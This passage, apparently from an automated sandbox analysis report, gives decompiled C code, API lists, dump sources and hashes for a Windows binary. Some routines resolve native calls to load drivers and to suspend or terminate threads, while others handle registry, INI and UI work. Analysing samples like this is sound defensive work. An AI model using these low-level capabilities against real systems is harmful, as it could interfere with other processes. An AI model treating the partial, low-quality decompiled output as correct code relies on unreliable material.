										 *0x40f838(_v16, _t78,  &_a1616, 0x104);
										E0040920A( &_v0,  &_a1600);
										_push(0xc);
										_push( &_v20);
										_push(_v4);
										_push(_v32);
										if( *0x40f844() != 0) {
											_a508 = _v32;
											_a512 = _v36;
										}
										if(E00409510(_a8,  &_v24) == 0) {
											goto L18;
										}
										_t90 = _t90 + 1;
										if(_t90 < _v44) {
											_t98 = 0;
											__eflags = 0;
											continue;
										} else {
										}
										goto L18;
									}
								}
							}
							L18:
							CloseHandle(_v16);
						}
					}
				}
				return _a8;
			}

0x004092f3
0x004092fb
0x00409303
0x00409305
0x00409310
0x00409433
0x00409433
0x00409439
0x0040943f
0x00409445
0x0040944b
0x0040944e
0x00409452
0x00409466
0x0040946e
0x00409475
0x004094f7
0x004094f7
0x004094f9
0x00000000
0x00000000
0x00409488
0x00409494
0x004094a5
0x004094a9
0x004094b5
0x004094c3
0x004094c6
0x004094d5
0x004094dc
0x004094e1
0x004094e3
0x004094f1
0x00000000
0x004094f1
0x00000000
0x004094e3
0x00000000
0x004094f7
0x00409452
0x00409316
0x00409316
0x0040931c
0x00000000
0x00409322
0x0040932b
0x00409333
0x00409337
0x00409341
0x00409342
0x0040934e
0x0040934f
0x00409358
0x0040935e
0x0040935e
0x00409363
0x0040936b
0x0040936d
0x00409377
0x00409385
0x0040938d
0x0040939d
0x004093a5
0x004093ac
0x004093b4
0x004093c5
0x004093c9
0x004093da
0x004093df
0x004093e5
0x004093e6
0x004093ea
0x004093f6
0x004093fc
0x00409407
0x00409407
0x0040941d
0x00000000
0x00000000
0x00409423
0x00409428
0x00409375
0x00409375
0x00000000
0x00000000
0x0040942e
0x00000000
0x00409428
0x00409377
0x0040936d
0x004094fb
0x004094ff
0x004094ff
0x00409337
0x0040931c
0x0040950f

APIs

OpenProcess.KERNEL32(00000410,00000000,00000000,?,00000000,00000000,?,00408CE3,00000000,00000000), ref: 0040932B
memset.MSVCRT ref: 0040938D
memset.MSVCRT ref: 0040939D

Part of subcall function 0040920A: wcscpy.MSVCRT ref: 00409233

memset.MSVCRT ref: 00409488
wcscpy.MSVCRT ref: 004094A9
CloseHandle.KERNEL32(?,00408CE3,?,?,?,00408CE3,00000000,00000000), ref: 004094FF

Memory Dump Source

Source File: 0000000B.00000002.333687322.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.333678597.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333723511.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333753320.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.333768741.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: memset$wcscpy$CloseHandleOpenProcess
String ID:
API String ID: 3300951397-0
Opcode ID: 35b1b47fb41be2c3e4820f38a09934af673dc0f51eb17e2be69c8f32b4af62fe
Instruction ID: b0ac5d6e05c2becfea0857ee93370de63ec0533c429aeeb167529e34c4b0c205
Opcode Fuzzy Hash: 35b1b47fb41be2c3e4820f38a09934af673dc0f51eb17e2be69c8f32b4af62fe
Instruction Fuzzy Hash: AE512A71108345ABD720DF65CC88A9BB7E8FFC4304F404A3EF989A2291DB75D945CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 00402EC8, Relevance: 9.0, APIs: 6, Instructions: 44
COMMON

Download Yara Rule

C-Code - Quality: 44%

			E00402EC8(void* __ebx) {
				struct tagRECT _v20;
				struct tagPAINTSTRUCT _v84;

				GetClientRect( *(__ebx + 0x10),  &_v20);
				_v20.left = _v20.right - GetSystemMetrics(0x15);
				_v20.top = _v20.bottom - GetSystemMetrics(0x14);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				DrawFrameControl(BeginPaint( *(__ebx + 0x10),  &_v84),  &_v20, 3, 8);
				return EndPaint( *(__ebx + 0x10),  &_v84);
			}

0x00402ed7
0x00402eee
0x00402ef8
0x00402f00
0x00402f01
0x00402f05
0x00402f0a
0x00402f1a
0x00402f30

APIs

GetClientRect.USER32 ref: 00402ED7
GetSystemMetrics.USER32 ref: 00402EE5
GetSystemMetrics.USER32 ref: 00402EF1
BeginPaint.USER32(?,?), ref: 00402F0B
DrawFrameControl.USER32 ref: 00402F1A
EndPaint.USER32(?,?), ref: 00402F27

Memory Dump Source

Source File: 0000000B.00000002.333687322.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.333678597.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333723511.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333753320.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.333768741.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: MetricsPaintSystem$BeginClientControlDrawFrameRect
String ID:
API String ID: 19018683-0
Opcode ID: 8c0e1e97105e41a4185fd691eb38b3eaa50651c9f1af749464abe97b92a3298f
Instruction ID: c8721ad6730a543cd54d50ae751cb56b62cc93be397439d4b1c9778783e315ec
Opcode Fuzzy Hash: 8c0e1e97105e41a4185fd691eb38b3eaa50651c9f1af749464abe97b92a3298f
Instruction Fuzzy Hash: 8C01EC72900218EFDF04DFA4DD859FE7B79FB44301F000569EA11AA195DA71A904CF90

Uniqueness

Uniqueness Score: -1.00%

Function 004079A4, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 57
COMMON

Download Yara Rule

C-Code - Quality: 50%

			E004079A4(void* __edi, void* __esi, intOrPtr _a4, intOrPtr* _a8) {
				void _v514;
				signed short _v516;
				signed short* _t34;
				signed int _t37;
				void* _t40;
				signed short* _t44;
				void* _t46;

				_t40 = __edi;
				E00407343(__edi, _a4, L"<item>\r\n");
				_t37 = 0;
				if( *((intOrPtr*)(__edi + 0x2c)) > 0) {
					do {
						_v516 = _v516 & 0x00000000;
						memset( &_v514, 0, 0x1fc);
						E0040ADF1( *((intOrPtr*)( *_a8))( *( *((intOrPtr*)(__edi + 0x30)) + _t37 * 4),  *((intOrPtr*)(__edi + 0x60))),  *((intOrPtr*)(__edi + 0x64)));
						_t44 =  &_v516;
						E00407250(_t44,  *((intOrPtr*)( *( *((intOrPtr*)(__edi + 0x30)) + _t37 * 4) * 0x14 +  *((intOrPtr*)(__edi + 0x40)) + 0x10)));
						_t34 = _t44;
						_push(_t34);
						_push( *((intOrPtr*)(__edi + 0x64)));
						_push(_t34);
						_push(L"<%s>%s</%s>\r\n");
						_push(0x2000);
						_push( *((intOrPtr*)(__edi + 0x68)));
						L0040B1EC();
						_t46 = _t46 + 0x24;
						E00407343(__edi, _a4,  *((intOrPtr*)(__edi + 0x68)));
						_t37 = _t37 + 1;
					} while (_t37 <  *((intOrPtr*)(__edi + 0x2c)));
				}
				return E00407343(_t40, _a4, L"</item>\r\n");
			}

0x004079a4
0x004079b8
0x004079bd
0x004079c2
0x004079c5
0x004079c5
0x004079db
0x004079f7
0x00407a06
0x00407a0c
0x00407a11
0x00407a13
0x00407a14
0x00407a17
0x00407a18
0x00407a1d
0x00407a22
0x00407a25
0x00407a2a
0x00407a35
0x00407a3a
0x00407a3b
0x00407a40
0x00407a52

APIs

memset.MSVCRT ref: 004079DB

Part of subcall function 0040ADF1: memcpy.MSVCRT ref: 0040AE6E

Part of subcall function 00407250: wcscpy.MSVCRT ref: 00407255
Part of subcall function 00407250: _wcslwr.MSVCRT ref: 00407288

_snwprintf.MSVCRT ref: 00407A25

Strings

</item>, xrefs: 00407A41
<%s>%s</%s>, xrefs: 00407A18
<item>, xrefs: 004079AE

Memory Dump Source

Source File: 0000000B.00000002.333687322.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.333678597.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333723511.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333753320.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.333768741.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: _snwprintf_wcslwrmemcpymemsetwcscpy
String ID: <%s>%s</%s>$</item>$<item>
API String ID: 1775345501-2769808009
Opcode ID: 3db2232b312ed916784b241718d450bfb00e2b25eb8021401c0f03919c4bf03b
Instruction ID: c8ba369f0531ab1f4cd0c6f6a7ba1592bf00f2a9533aec28b16f0bdd84d8fa76
Opcode Fuzzy Hash: 3db2232b312ed916784b241718d450bfb00e2b25eb8021401c0f03919c4bf03b
Instruction Fuzzy Hash: 3D119131A40219BFDB21AB65CC86E5A7B25FF04308F00006AFD0477692C739B965DBD9

Uniqueness

Uniqueness Score: -1.00%

Function 0040467A, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 44
registryCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E0040467A(void* __edi) {
				signed int _v8;
				void* _v12;
				void* _v16;
				void _v2062;
				short _v2064;
				int _t16;

				_v8 = _v8 & 0x00000000;
				_t16 = E004043F8( &_v12, 0x20019);
				if(_t16 == 0) {
					_v2064 = _v2064 & _t16;
					memset( &_v2062, _t16, 0x7fe);
					_push(__edi + 0x20a);
					_push(L"%s\\shell\\%s");
					_push(0x3ff);
					_push( &_v2064);
					L0040B1EC();
					if(RegOpenKeyExW(_v12,  &_v2064, 0, 0x20019,  &_v16) == 0) {
						_v8 = 1;
						RegCloseKey(_v16);
					}
				}
				return _v8;
			}

0x00404683
0x00404692
0x00404699
0x0040469b
0x004046af
0x004046ba
0x004046bc
0x004046c7
0x004046cc
0x004046cd
0x004046ee
0x004046f3
0x004046fa
0x004046fa
0x004046ee
0x00404705

APIs

memset.MSVCRT ref: 004046AF
_snwprintf.MSVCRT ref: 004046CD
RegOpenKeyExW.ADVAPI32(?,?,00000000,00020019,?,?,?,?,?,?,?,00020019), ref: 004046E6
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,00020019), ref: 004046FA

Strings

%s\shell\%s, xrefs: 004046BC

Memory Dump Source

Source File: 0000000B.00000002.333687322.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.333678597.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333723511.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333753320.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.333768741.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseOpen_snwprintfmemset
String ID: %s\shell\%s
API String ID: 1458959524-3196117466
Opcode ID: dd937bb9006710e66f977af40412b0b6fd133ebddff1bc1205fab9b1dc2b10fe
Instruction ID: 1855bd24da60c853c30f7b3e18bb60aca338c900c60696cbbcdbf1fba26ecf92
Opcode Fuzzy Hash: dd937bb9006710e66f977af40412b0b6fd133ebddff1bc1205fab9b1dc2b10fe
Instruction Fuzzy Hash: 20011EB5D00218FADB109BD1DD45FDAB7BCEF44314F0041B6AA04F2181EB749B489BA8

Uniqueness

Uniqueness Score: -1.00%

Function 00409D5F, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 16%

			E00409D5F(void* __ecx, wchar_t* __esi, void* __eflags, intOrPtr _a4, WCHAR* _a8, WCHAR* _a12, WCHAR* _a16, long _a20, WCHAR* _a24) {
				signed short _v131076;

				_t25 = __esi;
				E0040B550(0x20000, __ecx);
				if(_a4 == 0) {
					return GetPrivateProfileStringW(_a8, _a12, _a16, __esi, _a20, _a24);
				} else {
					if(__esi == 0 || wcschr(__esi, 0x22) == 0) {
						_push(_a24);
					} else {
						_v131076 = _v131076 & 0x00000000;
						_push(__esi);
						_push(L"\"%s\"");
						_push(0xfffe);
						_push( &_v131076);
						L0040B1EC();
						_push(_a24);
						_push( &_v131076);
					}
					return WritePrivateProfileStringW(_a8, _a12, ??, ??);
				}
			}

0x00409d5f
0x00409d67
0x00409d70
0x00409ddb
0x00409d72
0x00409d74
0x00409db2
0x00409d84
0x00409d84
0x00409d8c
0x00409d8d
0x00409d98
0x00409d9d
0x00409d9e
0x00409da6
0x00409daf
0x00409daf
0x00409dc3
0x00409dc3

APIs

wcschr.MSVCRT ref: 00409D79
_snwprintf.MSVCRT ref: 00409D9E
WritePrivateProfileStringW.KERNEL32(?,?,?,?), ref: 00409DBC
GetPrivateProfileStringW.KERNEL32(?,?,?,?,?,?), ref: 00409DD4

Strings

"%s", xrefs: 00409D8D

Memory Dump Source

Source File: 0000000B.00000002.333687322.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.333678597.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333723511.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333753320.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.333768741.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: PrivateProfileString$Write_snwprintfwcschr
String ID: "%s"
API String ID: 1343145685-3297466227
Opcode ID: ba2a529124e3a207c998afa530794a8b3af16421fe15764eebdae90aacee263b
Instruction ID: cff84325bbeeabecfb89bf19508a3778b9d9768fc6139f0f3fcaa17558a1ecc1
Opcode Fuzzy Hash: ba2a529124e3a207c998afa530794a8b3af16421fe15764eebdae90aacee263b
Instruction Fuzzy Hash: BA018B3244421AFADF219F90DC45FDA3B6AEF04348F008065BA14701E3D739C921DB98

Uniqueness

Uniqueness Score: -1.00%

Function 004047D2, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 31
windowCOMMON

Download Yara Rule

C-Code - Quality: 38%

			E004047D2(long __ecx, void* __eflags, struct HWND__* _a4) {
				char _v2052;
				short _v4100;
				void* __edi;
				long _t15;
				long _t16;

				_t15 = __ecx;
				E0040B550(0x1000, __ecx);
				_t16 = _t15;
				if(_t16 == 0) {
					_t16 = GetLastError();
				}
				E00404706(_t16,  &_v2052);
				_push( &_v2052);
				_push(_t16);
				_push(L"Error %d: %s");
				_push(0x400);
				_push( &_v4100);
				L0040B1EC();
				return MessageBoxW(_a4,  &_v4100, L"Error", 0x30);
			}

0x004047d2
0x004047da
0x004047e0
0x004047e4
0x004047ec
0x004047ec
0x004047f5
0x00404800
0x00404801
0x00404802
0x0040480d
0x00404812
0x00404813
0x00404834

APIs

GetLastError.KERNEL32(?,?,004035EB,?,?), ref: 004047E6
_snwprintf.MSVCRT ref: 00404813
MessageBoxW.USER32(?,?,Error,00000030), ref: 0040482C

Strings

Error, xrefs: 0040481D
Error %d: %s, xrefs: 00404802

Memory Dump Source

Source File: 0000000B.00000002.333687322.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.333678597.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333723511.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333753320.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.333768741.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLastMessage_snwprintf
String ID: Error$Error %d: %s
API String ID: 313946961-1552265934
Opcode ID: 9fa9ceadd2aea683486b90f32a73d9d70e1e2e007ee85f632c4fe4fcea7526ce
Instruction ID: 90e5118ee4f46ea14b6138c5fdcdbe0805ab296af9aaa7bfd3b1d45c15712702
Opcode Fuzzy Hash: 9fa9ceadd2aea683486b90f32a73d9d70e1e2e007ee85f632c4fe4fcea7526ce
Instruction Fuzzy Hash: 30F08975500208A6C711A795CC46FD572ACEB44785F0401B6B604F31C1DB78AA448A9C

Uniqueness

Uniqueness Score: -1.00%

Function 004068EC, Relevance: 7.6, APIs: 6, Instructions: 131
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E004068EC(intOrPtr* __eax, void* __eflags, intOrPtr _a4) {
				void* _v8;
				signed int _v12;
				void* __ebx;
				void* __ecx;
				void* __edi;
				void* __esi;
				signed int _t74;
				signed int _t76;
				signed short _t85;
				signed int _t87;
				intOrPtr _t88;
				signed short _t93;
				void* _t95;
				signed int _t124;
				signed int _t126;
				signed int _t128;
				intOrPtr* _t131;
				signed int _t135;
				signed int _t137;
				signed int _t138;
				void* _t141;
				void* _t142;
				void* _t146;

				_t142 = __eflags;
				_push(_t102);
				_t131 = __eax;
				 *((intOrPtr*)(__eax + 4)) =  *((intOrPtr*)( *__eax + 0x68))();
				E00406746(__eax);
				 *(_t131 + 0x38) =  *(_t131 + 0x38) & 0x00000000;
				_t135 = 5;
				 *((intOrPtr*)(_t131 + 0x2a0)) = _a4;
				_t124 = 0x14;
				_t74 = _t135 * _t124;
				 *(_t131 + 0x2d0) = _t135;
				_push( ~(0 | _t142 > 0x00000000) | _t74);
				L0040B26C();
				 *(_t131 + 0x2d4) = _t74;
				_t126 = 0x14;
				_t76 = _t135 * _t126;
				_push( ~(0 | _t142 > 0x00000000) | _t76);
				L0040B26C();
				_t95 = 0x40f008;
				 *(_t131 + 0x40) = _t76;
				_v8 = 0x40f008;
				do {
					_t137 =  *_t95 * 0x14;
					memcpy( *(_t131 + 0x2d4) + _t137, _t95, 0x14);
					_t24 = _t95 + 0x14; // 0x40f01c
					memcpy( *(_t131 + 0x40) + _t137, _t24, 0x14);
					_t85 =  *( *(_t131 + 0x2d4) + _t137 + 0x10);
					_t141 = _t141 + 0x18;
					_v12 = _t85;
					 *( *(_t131 + 0x40) + _t137 + 0x10) = _t85;
					if((_t85 & 0xffff0000) == 0) {
						 *( *(_t131 + 0x2d4) + _t137 + 0x10) = E00405B81(_t85 & 0x0000ffff);
						_t93 = E00405B81(_v12 | 0x00010000);
						_t95 = _v8;
						 *( *(_t131 + 0x40) + _t137 + 0x10) = _t93;
					}
					_t95 = _t95 + 0x28;
					_t146 = _t95 - 0x40f0d0;
					_v8 = _t95;
				} while (_t146 < 0);
				 *(_t131 + 0x44) =  *(_t131 + 0x44) & 0x00000000;
				_t138 = 5;
				_t128 = 4;
				_t87 = _t138 * _t128;
				 *((intOrPtr*)(_t131 + 0x48)) = 1;
				 *(_t131 + 0x2c) = _t138;
				 *((intOrPtr*)(_t131 + 0x28)) = 0x20;
				_push( ~(0 | _t146 > 0x00000000) | _t87);
				L0040B26C();
				_push(0xc);
				 *(_t131 + 0x30) = _t87;
				L0040B26C();
				_t139 = _t87;
				if(_t87 == 0) {
					_t88 = 0;
					__eflags = 0;
				} else {
					_t88 = E00406607(_a4,  *((intOrPtr*)(_t131 + 0x58)), _t139);
				}
				 *((intOrPtr*)(_t131 + 0x2c0)) = _t88;
				 *((intOrPtr*)(_t131 + 0x4c)) = 1;
				 *((intOrPtr*)(_t131 + 0x50)) = 0;
				 *((intOrPtr*)(_t131 + 0x2b4)) = 1;
				 *((intOrPtr*)(_t131 + 0x2b8)) = 0;
				 *((intOrPtr*)(_t131 + 0x2bc)) = 0;
				 *((intOrPtr*)(_t131 + 0x2c4)) = 1;
				 *((intOrPtr*)(_t131 + 0x2c8)) = 1;
				 *((intOrPtr*)(_t131 + 0x334)) = 0x32;
				 *((intOrPtr*)(_t131 + 0x5c)) = 0xffffff;
				return E0040686C(_t131);
			}

0x004068ec
0x004068f0
0x004068f4
0x004068ff
0x00406902
0x0040690a
0x00406910
0x00406911
0x0040691b
0x0040691e
0x00406923
0x0040692d
0x0040692e
0x00406933
0x0040693d
0x00406940
0x00406949
0x0040694a
0x00406950
0x00406956
0x00406959
0x0040695c
0x00406964
0x0040696d
0x00406974
0x0040697e
0x00406989
0x00406990
0x00406998
0x0040699b
0x0040699f
0x004069b8
0x004069bc
0x004069c4
0x004069c7
0x004069c7
0x004069cb
0x004069ce
0x004069d4
0x004069d4
0x004069d9
0x004069df
0x004069e6
0x004069ea
0x004069ef
0x004069f2
0x004069f5
0x00406a00
0x00406a01
0x00406a06
0x00406a08
0x00406a0b
0x00406a10
0x00406a16
0x00406a25
0x00406a25
0x00406a18
0x00406a1e
0x00406a1e
0x00406a27
0x00406a2f
0x00406a32
0x00406a35
0x00406a3b
0x00406a41
0x00406a47
0x00406a4d
0x00406a53
0x00406a5d
0x00406a6d

APIs

Part of subcall function 00406746: ??3@YAXPAX@Z.MSVCRT ref: 00406752
Part of subcall function 00406746: ??3@YAXPAX@Z.MSVCRT ref: 00406760
Part of subcall function 00406746: ??3@YAXPAX@Z.MSVCRT ref: 00406771
Part of subcall function 00406746: ??3@YAXPAX@Z.MSVCRT ref: 00406788
Part of subcall function 00406746: ??3@YAXPAX@Z.MSVCRT ref: 00406791

??2@YAPAXI@Z.MSVCRT ref: 0040692E
??2@YAPAXI@Z.MSVCRT ref: 0040694A
memcpy.MSVCRT ref: 0040696D
memcpy.MSVCRT ref: 0040697E
??2@YAPAXI@Z.MSVCRT ref: 00406A01
??2@YAPAXI@Z.MSVCRT ref: 00406A0B

Part of subcall function 00405B81: GetModuleHandleW.KERNEL32(00000000,?,?,00403490), ref: 00405BC0
Part of subcall function 00405B81: LoadStringW.USER32(00000000,000001F5,?), ref: 00405C59
Part of subcall function 00405B81: memcpy.MSVCRT ref: 00405C99

Part of subcall function 00405B81: wcscpy.MSVCRT ref: 00405C02
Part of subcall function 00405B81: wcslen.MSVCRT ref: 00405C20
Part of subcall function 00405B81: GetModuleHandleW.KERNEL32(00000000,?,?,?,00403490), ref: 00405C2E

Memory Dump Source

Source File: 0000000B.00000002.333687322.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.333678597.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333723511.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333753320.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.333768741.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: ??3@$??2@$memcpy$HandleModule$LoadStringwcscpywcslen
String ID:
API String ID: 975042529-0
Opcode ID: 7b5c259927b59544c1da32c87fb64e8a434fc950baf11122839f6010e947eddb
Instruction ID: 1f3882e7c97b8b8272a376ef7761bc0b0e9511dafd47f947fc31f4e13e233f39
Opcode Fuzzy Hash: 7b5c259927b59544c1da32c87fb64e8a434fc950baf11122839f6010e947eddb
Instruction Fuzzy Hash: 53414EB1B01715AFD718DF39C88A75AFBA4FB08314F10422FE519D7691D775A8108BC8

Uniqueness

Uniqueness Score: -1.00%

Function 004097A9, Relevance: 7.6, APIs: 5, Instructions: 112
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E004097A9(void* __ecx, void* __edx, void* __eflags, intOrPtr _a4) {
				int _v8;
				int _v12;
				intOrPtr _v16;
				void* _v20;
				int _v24;
				void _v56;
				char _v584;
				char _v588;
				char _v41548;
				void* __edi;
				void* _t40;
				void _t46;
				intOrPtr _t47;
				intOrPtr* _t64;
				intOrPtr* _t66;
				intOrPtr _t67;
				intOrPtr _t71;
				int _t77;
				void* _t80;
				void* _t81;
				void* _t82;
				void* _t83;

				E0040B550(0xa248, __ecx);
				_t77 = 0;
				_v8 = 0;
				E00408E31();
				_t40 =  *0x41c47c;
				if(_t40 != 0) {
					_t40 =  *_t40(5,  &_v41548, 0xa000,  &_v8);
				}
				if(_v8 == _t77) {
					_v8 = 0x186a0;
				}
				_v8 = _v8 + 0x3e80;
				_push(_v8);
				L0040B26C();
				_t81 = _t40;
				_v20 = _t81;
				memset(_t81, _t77, _v8);
				_t83 = _t82 + 0x10;
				_v24 = _t77;
				E00408E31();
				E00408F2A(0x41c47c, _t81, _v8,  &_v24);
				L5:
				while(1) {
					if( *((intOrPtr*)(_t81 + 0x3c)) == _t77) {
						L16:
						_t46 =  *_t81;
						_t77 = 0;
						if(_t46 == 0) {
							_push(_v20);
							L0040B272();
							return _t46;
						}
						_t81 = _t81 + _t46;
						continue;
					}
					_t47 = _a4;
					_t71 =  *((intOrPtr*)(_t47 + 0x34));
					_v12 = _t77;
					_v16 = _t71;
					if(_t71 <= _t77) {
						L10:
						_t66 = 0;
						L11:
						if(_t66 == 0) {
							E004090AF( &_v588);
							E00404923(0x104,  &_v584,  *((intOrPtr*)(_t81 + 0x3c)));
							_t32 = _t81 + 0x20; // 0x20
							memcpy( &_v56, _t32, 8);
							_t83 = _t83 + 0x10;
							E004099ED(_a4 + 0x28,  &_v588);
						} else {
							_t26 = _t66 + 4; // 0x4
							_t72 = _t26;
							if( *_t26 == 0) {
								E00404923(0x104, _t72,  *((intOrPtr*)(_t81 + 0x3c)));
								_t28 = _t81 + 0x20; // 0x20
								memcpy(_t66 + 0x214, _t28, 8);
								_t83 = _t83 + 0x10;
							}
						}
						goto L16;
					}
					_t67 =  *((intOrPtr*)(_t81 + 0x44));
					_t80 = _t47 + 0x28;
					while(1) {
						_t64 = E00405A92(_v12, _t80);
						if( *_t64 == _t67) {
							break;
						}
						_v12 = _v12 + 1;
						if(_v12 < _v16) {
							continue;
						}
						goto L10;
					}
					_t66 = _t64;
					goto L11;
				}
			}

0x004097b1
0x004097b9
0x004097bb
0x004097be
0x004097c3
0x004097ca
0x004097de
0x004097de
0x004097e3
0x004097e5
0x004097e5
0x004097ec
0x004097f3
0x004097f6
0x004097fe
0x00409802
0x00409805
0x0040980a
0x0040980d
0x00409810
0x00409822
0x00000000
0x00409827
0x0040982a
0x004098da
0x004098da
0x004098dc
0x004098e0
0x004098e9
0x004098ec
0x004098f6
0x004098f6
0x004098e2
0x00000000
0x004098e2
0x00409830
0x00409833
0x00409838
0x0040983b
0x0040983e
0x0040985f
0x0040985f
0x00409861
0x00409863
0x0040989e
0x004098b1
0x004098b8
0x004098c0
0x004098c5
0x004098d5
0x00409865
0x00409865
0x00409865
0x0040986c
0x00409878
0x0040987f
0x0040988a
0x0040988f
0x0040988f
0x0040986c
0x00000000
0x00409863
0x00409840
0x00409843
0x00409846
0x0040984b
0x00409852
0x00000000
0x00000000
0x00409854
0x0040985d
0x00000000
0x00000000
0x00000000
0x0040985d
0x00409894
0x00000000
0x00409894

APIs

Part of subcall function 00408E31: GetModuleHandleW.KERNEL32(ntdll.dll,?,004097C3), ref: 00408E44
Part of subcall function 00408E31: GetProcAddress.KERNEL32(00000000,NtQuerySystemInformation), ref: 00408E5B
Part of subcall function 00408E31: GetProcAddress.KERNEL32(NtLoadDriver), ref: 00408E6D
Part of subcall function 00408E31: GetProcAddress.KERNEL32(NtUnloadDriver), ref: 00408E7F
Part of subcall function 00408E31: GetProcAddress.KERNEL32(NtOpenSymbolicLinkObject), ref: 00408E91
Part of subcall function 00408E31: GetProcAddress.KERNEL32(NtQuerySymbolicLinkObject), ref: 00408EA3
Part of subcall function 00408E31: GetProcAddress.KERNEL32(NtQueryObject), ref: 00408EB5
Part of subcall function 00408E31: GetProcAddress.KERNEL32(NtOpenThread), ref: 00408EC7
Part of subcall function 00408E31: GetProcAddress.KERNEL32(NtClose), ref: 00408ED9
Part of subcall function 00408E31: GetProcAddress.KERNEL32(NtQueryInformationThread), ref: 00408EEB
Part of subcall function 00408E31: GetProcAddress.KERNEL32(NtSuspendThread), ref: 00408EFD
Part of subcall function 00408E31: GetProcAddress.KERNEL32(NtResumeThread), ref: 00408F0F
Part of subcall function 00408E31: GetProcAddress.KERNEL32(NtTerminateThread), ref: 00408F21

??2@YAPAXI@Z.MSVCRT ref: 004097F6
memset.MSVCRT ref: 00409805
memcpy.MSVCRT ref: 0040988A
memcpy.MSVCRT ref: 004098C0
??3@YAXPAX@Z.MSVCRT ref: 004098EC

Memory Dump Source

Source File: 0000000B.00000002.333687322.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.333678597.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333723511.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333753320.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.333768741.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc$memcpy$??2@??3@HandleModulememset
String ID:
API String ID: 3641025914-0
Opcode ID: 5e4299bbf46472c45a4c6d50f6a05ce4ddc252402b4fb65f630eed7603d777c4
Instruction ID: bb54f3dbfe595cb11ae02f9551d523dabe65b88657fa4b418f7fa82d5da08bd9
Opcode Fuzzy Hash: 5e4299bbf46472c45a4c6d50f6a05ce4ddc252402b4fb65f630eed7603d777c4
Instruction Fuzzy Hash: BF41C172900209EFDB10EBA5C8819AEB3B9EF45304F14847FE545B3292DB78AE41CB59

Uniqueness

Uniqueness Score: -1.00%

Function 004067AC, Relevance: 7.6, APIs: 5, Instructions: 60
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E004067AC(char** __edi) {
				void* __esi;
				void* _t9;
				void** _t11;
				char** _t15;
				char** _t24;
				void* _t25;
				char* _t28;
				char* _t29;
				char* _t30;
				char* _t31;
				char** _t33;

				_t24 = __edi;
				 *__edi = "cf@";
				_t9 = E00406746(__edi);
				_t28 = __edi[5];
				if(_t28 != 0) {
					_t9 = E004055D1(_t9, _t28);
					_push(_t28);
					L0040B272();
				}
				_t29 = _t24[4];
				if(_t29 != 0) {
					_t9 = E004055D1(_t9, _t29);
					_push(_t29);
					L0040B272();
				}
				_t30 = _t24[3];
				if(_t30 != 0) {
					_t9 = E004055D1(_t9, _t30);
					_push(_t30);
					L0040B272();
				}
				_t31 = _t24[2];
				if(_t31 != 0) {
					E004055D1(_t9, _t31);
					_push(_t31);
					L0040B272();
				}
				_t15 = _t24;
				_pop(_t32);
				_push(_t24);
				_t33 = _t15;
				_t25 = 0;
				if(_t33[1] > 0 && _t33[0xd] > 0) {
					do {
						 *((intOrPtr*)( *((intOrPtr*)(E0040664E(_t33, _t25))) + 0xc))();
						_t25 = _t25 + 1;
					} while (_t25 < _t33[0xd]);
				}
				_t11 =  *( *_t33)();
				free( *_t11);
				return _t11;
			}

